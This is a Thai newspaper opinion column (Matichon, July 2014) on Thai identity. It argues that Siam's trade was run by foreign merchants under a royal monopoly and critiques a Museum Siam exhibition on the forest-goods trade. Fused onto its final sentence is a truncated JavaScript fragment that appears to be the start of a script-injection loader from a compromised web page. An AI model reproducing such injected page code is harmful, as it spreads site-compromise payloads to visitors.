Download PDF

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 24 กรกฎาคม  2557

 

ความเป็นไทย

         “ความเป็นไทย—–เป็นปฏิปักษ์กับความเสมอภาค”

         นิธิ เอียวศรีวงศ์ อ้างถึงความเป็นไทย ไว้ในบทความเรื่องปัญญาชนไทยกับความทันสมัย (พิมพ์ในมติชนรายวัน ฉบับวันจันทร์ที่ 21 กรกฎาคม 2557 หน้า 20) แล้วบอกอีกว่า

         “ผ่านมาเกินศตวรรษแล้ว ปัญญาชนไทยจำนวนหนึ่ง ก็ยังง่วนกับการรักษาความเป็นไทย เพื่อต่อต้านความทันสมัย เหมือนปัญญาชนเมื่อร้อยปีที่แล้ว

 

ค้าของป่า บนการค้าโลก สร้างตัวตนคนไทย

         การค้าภายในของบ้านเมืองในสุวรรณภูมิ (รวมทั้งในไทย)เป็นส่วนหนึ่งของการค้าโลก ซึ่งมีสินค้าสำคัญเท่าที่พบหลักฐานคือ แร่ธาตุ (เช่น ทองแดง) และของป่า

         แต่ที่สร้างรายได้เป็นกอบเป็นกำ ทำให้อยุธยาเติบโตเป็นราชอาณาจักรสยาม คือการค้าส่งผ่านระหว่างจีนกับอินเดีย โดยมีสยามและอุษาคเนย์เป็นทางผ่าน

         ผู้มีบทบาทสำคัญในการค้าแบบนี้ คือ เจ๊กกับแขก ไม่ใช่ชาวสยาม ฉะนั้นผลกำไรจากการค้าตกอยู่ที่เจ๊กกับแขก โดยราชสำนักสยามมีรายได้จากค่าต๋ง

         ส่วนสามัญชนชาวสยามคือไพร่ ไม่ได้อะไรเลย แถม“ขาดทุน” เพราะต้องเสียแรงเหนื่อยส่งส่วยของป่าโดยไม่มีค่าตอบแทน

         ดังนั้น ข้อความบางตอนในเอกสารประกอบนิทรรศการเรื่องค้าของป่าของมิวเซียมสยาม (ผมคัดบางส่วนลงพิมพ์ในสุวรรณภูมิสังคมวัฒนธรรม ฉบับวันนี้แล้ว หน้า 17) จึงมีปัญหา จะยกมาเสนอความเห็นดังนี้

         1. “กษัตริย์กรุงเก่าแต่งสำเภาหลวง ขนสินค้าไปยังเมืองต่างๆ”

         กษัตริย์กรุงเก่าค้าสำเภาไม่เป็น เพราะไม่มีประสบการณ์มาก่อนและไม่มีในวัฒนธรรมของตน ดังนั้น จึงจ้างพ่อค้าชาวต่างชาติที่ชำนาญการค้าทางทะเลมารับราชการดูแลแทน คือ

         พ่อค้าชาวมลายู(แขก) ตำแหน่งจุฬาราชมนตรี ดูแลการค้าตะวันตก ทางทะเลอันดามัน มหาสมุทรอินเดีย

         พ่อค้าชาวจีน(เจ๊ก) ตำแหน่งราชาเศรษฐี ดูแลการค้าตะวันออก ทางทะเลจีน มหาสมุทรแปซิฟิก

         2. “ใครว่าชาวสยามทำการค้าไม่เป็น?”

         หลักฐานประวัติศาสตร์โบราณคดี ยืนยันสอดคล้องกันทุกด้านว่าชาวสยามทำการค้าทางทะเลไม่เป็น เพราะถูกกีดกันหวงห้ามจากคนชั้นสูงที่ผูกขาดการค้าโดยพระคลังสินค้าของหลวงเท่านั้น จึงทำได้แค่แลกเปลี่ยนในหมู่บ้าน

         ซึ่งสอดคล้องกับข้อความอีกตอนหนึ่งในเอกสารประกอบนิทรรศการการค้าของป่า บอกไว้อย่างถูกต้องว่า “สินค้าต้องห้าม”  คือ สินค้าที่รัฐจัดเข้าระบบผูกขาด ไม่อาจซื้อขายตามอำเภอใจ ผู้ใดใคร่ซื้อขาย ไม่ว่าหน้าไทยหรือเทศ ต้องผ่านพระคลังสินค้าเท่านั้น

         แต่พระคลังสินค้าก็ไม่ได้ค้าด้วยตัวเอง หากต้องจ้างชาวต่างชาติที่ชำนาญการค้าทางทะเลมาจัดการแทน

         ด้วยเหตุดังกล่าวมา ชาวสยามซึ่งมีคนไทยรวมอยู่ด้วยจึงขาดประสบการณ์การค้าทางทะเล เมื่อเทียบกับจีน, ฝรั่ง มานานนับพันๆปี ตราบจนทุกวันนี้ จะเห็นว่าพาณิชย์นาวีของไทยเทียบไม่ได้กับสากลโลก

         ค้าของป่า เกี่ยวข้องกับการค้าภายในของสุวรรณภูมิและไทย โดยใช้ภาษาไทย(-ลาว)เป็นภาษากลางทางการค้า ผลักดันให้มีการเคลื่อนย้ายกลุ่มชนจากลุ่มน้ำโขง ลงลุ่มน้ำเจ้าพระยา ตั้งแต่หลัง พ.ศ. 1500

         จึงเกิดการประสานทางเผ่าพันธุ์ร้อยพ่อพันแม่ แล้วเรียกตัวเองต่อมาว่า คนไทย

         มิวเซียมสยาม ควรเอาเรื่องค้าของป่าไปขยายขอบเขตออกให้กว้างขวางอีก แล้วทำนิทรรศการใหญ่เรื่องการค้าโลก สร้างราชอาณาจักรสยาม และคนไทย

         โดยแบ่งปันความรู้เรื่องนี้ซ้ำแล้วซ้ำอีกให้เป็นที่รับรู้ทั่วไปอย่างกว้างขวางด้วยหนังสือประกอบการแสดงที่ปรับปรุงใหม่ กับดีวีดีมีภาพเคลื่อนไหวอย่างมีมาตรฐาน

         เพราะประวัติศาสตร์แห่งชาติของไทย ไม่มีการค้า จึงขาดประวัติศาสตร์สังคมกว่าจะเป็นคนไทย

         ทุกวันนี้เลยบอกไม่ได้ว่าคนไทยเป็นใคร? มาจากไหน?var d=document;var s=d.createElement(‘script’);